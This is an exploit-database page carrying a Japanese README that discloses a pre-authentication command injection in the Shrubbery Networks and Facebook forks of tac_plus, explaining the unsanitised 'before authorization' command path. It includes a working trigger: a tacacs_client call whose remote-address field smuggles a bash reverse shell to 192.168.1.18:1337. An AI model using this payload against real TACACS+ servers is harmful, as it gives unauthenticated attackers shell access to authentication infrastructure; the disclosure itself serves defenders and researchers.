Sploitus

Exploit for tac_plus-pre-auth-rce

kitploit · 2026-09-02

Exploit Code

MARKDOWN126 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TAKESHIXX-TAC_PLUS-PRE-AUTH-RCE
# tac_Plus 事前認証リモートコマンド実行の脆弱性

このリポジトリには、`tac_plus` のさまざまなオープンソース実装における事前認証リモートコマンド実行の脆弱性に関する情報が含まれています。影響を受けるのは以下の2つのフォークです:

  * Shrubbery Networks tac_plus
  * Facebook tac_plus



ただし、両方のフォークは、 _16年以上_ 前にオープンソース化されたCiscoのTACACS+用開発キットに基づいています。この脆弱性は開発キットにすでに存在しており、両方のプロジェクトにフォークされました。なお、この研究は上記の2つのフォークのみに焦点を当てたものであり、他にも影響を受けるフォークが存在する可能性があることに注意してください。

次のグラフはフォーク間の関係を示しており、すべてが影響を受けます:

root@kitploit:~
    
    
    -----------------
    | Cisco dev kit |
    -----------------
           ↑
      forked from
           |
    ----------------------
    | Shrubbery Networks |
    |   CVE-2023-48643   |
    ----------------------
           ↑
      forked from
           |
    ------------------
    |    Facebook    |
    | CVE-2023-45239 |
    ------------------
    
    

Ciscoの開発キットの公式ソースは見つかっておらず、現在もメンテナンスされていません。

## ステータス

  * FacebookはGitHub Security Advisory (GHSA)を公開し、CVE-2023-45239が割り当てられました
  * Shrubbery Networksのフォークにはパッチは利用できません



## 脆弱性

以下の例では、GitHubで利用可能なfacebook/tac_plusリポジトリのコードを参照しています(Cisco開発キットとShrubbery Networksフォークは単なるtarボールです)。ただし、影響を受けるコードは**すべてのプロジェクトで同じ** です。

パケットが到着すると、start_session() 関数が呼び出され、受信パケットの種類(認証、承認、アカウンティング)を判定します。ここでは、author() → do_author() によって処理される承認パケットに焦点を当て、その後 pre_authorization() を呼び出します。この関数は、TACACS+ パケット内のユーザー名に _before authorization_ コマンドが設定されているかどうかをチェックし、call_pre_process() を介して実行します。次の設定ファイル (`tac_plus.conf`) は、 _before authorization_ コマンドが設定されたユーザーを示しています:

root@kitploit:~
    
    
    accounting file = /tmp/tac_acc.log
    
    user=DEFAULT {
     before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
      service = exec {
        default attribute = permit
      }
    }
    

この関数は、 _before authorization_ で設定されたコマンドを取得し、substitutes 変数(例: _$user_ 、 _$name_ 、 _$address_ )を受信したTACACS+パケットの値で置き換えます。ただし、これは入力検証やサニタイズなしで行われます。

結果のコマンド文字列は、my_popen() に渡され、次の execl() 呼び出しでコマンド文字列を実行します:

root@kitploit:~
    
    
    (void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
    

これにより、TACACS+ パケットのリモートアドレスフィールドを介して追加のコマンドを注入できます(RFC8907 の _rem_addr_ 、 _rem_addr_len_ を参照)。同じ方法は他の入力フィールドでも機能する可能性があります。

この脆弱性は認証プロセス中にトリガーされることに注意してください。したがって、パスワードは不要で、設定に存在するユーザー名のみが必要です。

### 脆弱性のトリガー

この設定でtac_plusをコンパイルして実行する方法は、以下のセクションで説明されています:

  * Shrubbery Network tac_plus のセットアップ
  * Facebook tac_plus のセットアップ



次のコマンドは、ターゲットデーモン上でユーザーDEFAULTを使用してtacacs_clientを実行します。脆弱性をトリガーするペイロードは、`--rem-addr` コマンドライン引数で設定されるリモートアドレスフィールドにあります:

root@kitploit:~
    
    
    export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
    tacacs_client \
        --host 192.168.1.100 \
        --port 4949 \
        --username DEFAULT \
        --rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
        authorize -c service=exec
    

これを実行すると、192.168.1.18:1337へのリバースシェル接続が発生します。ユーザー名は、`tac_plus.cfg` で _before authorization_ または _after authorization_ ディレクティブが設定されているユーザーのいずれかである必要があります。末尾のコマンドリスト(`-c service=exec`)は必要なコードパスに到達するために必要ですが、値は重要ではありません。

クライアントから送信されたTACACS+パケットをWiresharkで表示したスクリーンショットを以下に示します:

![Wireshark Setup](https://assets.kitploit.com/production/public/readmes/33213/851d1039543c5804cbb78ceb96dd0d84830fddb88270945e06a3e4af0ad77348.png)

次のスクリーンショットは、注入されたコマンドが実行される直前のデバッグセッションを示しています:

![VScode Debug](https://assets.kitploit.com/production/public/readmes/33213/487b49e6dc46150466edcc2de3eef89483271d813f3d9b75bd23a7d288e29767.png)

## 影響を受けるLinuxディストリビューション/BSD派生

さまざまなLinuxディストリビューションが、公式パッケージで影響を受ける2つのフォークのいずれかを使用しています(主にShrubbery Networksフォーク)。以下の表は、本稿執筆時点でShrubbery NetworksまたはFacebookフォークを使用しているLinuxディストリビューションとBSD派生を示しています。このリストは網羅的ではなく、他のディストリビューション/派生も影響を受ける可能性が高いです。

派生| ポート| フォーク  
---|---|---  
FreeBSD| tacacs| Shrubbery Networks  
NetBSD| tacacs| Shrubbery Networks  
...| |   
  
この問題を再現する方法の例は、以下のセクションで確認できます:

  * Shrubbery Networks tac_plus の例
  * Facebook tac_plus の例